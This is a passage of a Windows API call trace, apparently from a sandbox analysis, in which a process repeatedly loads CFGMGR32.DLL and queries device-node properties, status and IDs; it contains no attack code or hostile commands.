hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.776] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.779] malloc (_Size=0x18) returned 0x196ef0d1b60 [0214.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0214.779] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0214.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x60df104f, dwHighDateTime=0x1d9eb0c)) [0214.780] SetEvent (hEvent=0x248) returned 1 [0214.784] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.784] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.786] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.787] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.787] malloc (_Size=0x18) returned 0x196ef0d1b40 [0214.787] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0214.787] malloc (_Size=0x48) returned 0x196ef0fc170 [0214.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x60e0c44c, dwHighDateTime=0x1d9eb0c)) [0214.788] SetEvent (hEvent=0x248) returned 1 [0214.791] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.791] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.791] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.792] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.793] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.794] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.794] malloc (_Size=0x18) returned 0x196ef0d1d60 [0214.794] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0214.794] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0214.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x60e0c44c, dwHighDateTime=0x1d9eb0c)) [0214.795] SetEvent (hEvent=0x248) returned 1 [0214.975] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.975] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.976] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.977] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.978] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.979] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.980] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0214.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0214.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0214.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0214.984] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0214.985] malloc (_Size=0x18) returned 0x196ef0d19a0 [0214.985] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0214.991] malloc (_Size=0x48) returned 0x196ef0fc120 [0214.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x60ffc368, dwHighDateTime=0x1d9eb0c)) [0214.992] SetEvent (hEvent=0x248) returned 1 [0214.996] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0214.996] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0214.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0214.998] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0214.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0214.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0214.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0214.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0214.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.000] malloc (_Size=0x18) returned 0x196ef0d19e0 [0215.000] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x9, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0215.001] malloc (_Size=0x48) returned 0x196ef0fb770 [0215.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x61022910, dwHighDateTime=0x1d9eb0c)) [0215.001] SetEvent (hEvent=0x248) returned 1 [0215.006] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.006] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.009] malloc (_Size=0x18) returned 0x196ef0d1d60 [0215.009] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x9, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0215.009] malloc (_Size=0x48) returned 0x196ef0fb2c0 [0215.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x61022910, dwHighDateTime=0x1d9eb0c)) [0215.010] SetEvent (hEvent=0x248) returned 1 [0215.245] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.245] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.249] malloc (_Size=0x18) returned 0x196ef0d1a40 [0215.249] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0215.250] malloc (_Size=0x48) returned 0x196ef0fb680 [0215.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61284bbe, dwHighDateTime=0x1d9eb0c)) [0215.250] SetEvent (hEvent=0x248) returned 1 [0215.255] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.255] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.258] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.258] malloc (_Size=0x18) returned 0x196ef0d1a80 [0215.258] CM_Get_Device_IDA (in: dnDevInst=0xa, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\CPU_HOTPLUG_RESOURCES") returned 0x0 [0215.258] malloc (_Size=0x48) returned 0x196ef0fb680 [0215.258] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x61284bbe, dwHighDateTime=0x1d9eb0c)) [0215.259] SetEvent (hEvent=0x248) returned 1 [0215.263] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.263] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.263] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.264] GetProcAddress (hModule=0x7ffa786c0000, 